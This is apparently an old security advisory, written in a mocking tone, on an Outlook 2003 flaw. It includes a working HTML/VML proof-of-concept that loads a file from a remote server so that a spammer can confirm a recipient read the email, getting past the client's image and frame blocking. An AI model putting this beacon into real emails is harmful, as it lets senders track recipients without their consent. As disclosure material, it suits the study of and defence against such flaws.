Outlook 2003 has a flaw that will allow malicious spammers to verify whether or not a recipient has read an email.

Outlook 2003 the premier mail client from the company
called 'Microsoft' certainly appears to have a lot of security
features built into it. Cursory examination shows excellent
thought into 'spam' containment, 'security' consideration and
many other little 'things'. So much so the default rendering of
html is in so-called 'restricted zone' which disallows nearly
everything [frames, iframes, objects, scripting etc.]. In
addition 'special' spam measures are taken to disallow graphic
downloads from a remote server in html email which can be used
to verify recipients:

The Key Word is: nearly
Utilising Outlook's own bizarre scheMAH ! which comprises
a 'proper' frame along with an src pointing to our remote
server, we are able to ping the server and confirm our recipient
has viewed our email. We don't require graphics or frames or
iframes to do that:
<v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION:
relative; TOP: 30px; HEIGHT: 200px"
src = "http://www.malware.com/duh.txt#malware"></v:vmlframe>
<HTML>
<HEAD>
<STYLE>
v\:* { behavior: url(#default#VML); }
</STYLE>
<XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/>
</HEAD>
Notes:
1. We now commence our examination of the Microsoft Office 2003
suite, we're a bit late, but it has taken all this time to save
up to buy the thing
2. Quick 72 hour prodding reveals that this 'perceived' premier
device known as Outlook 2003 is in fact riddled with holes
3. Do not receive or open any emails period. Use string and tin
cans if you must communicate
End Call
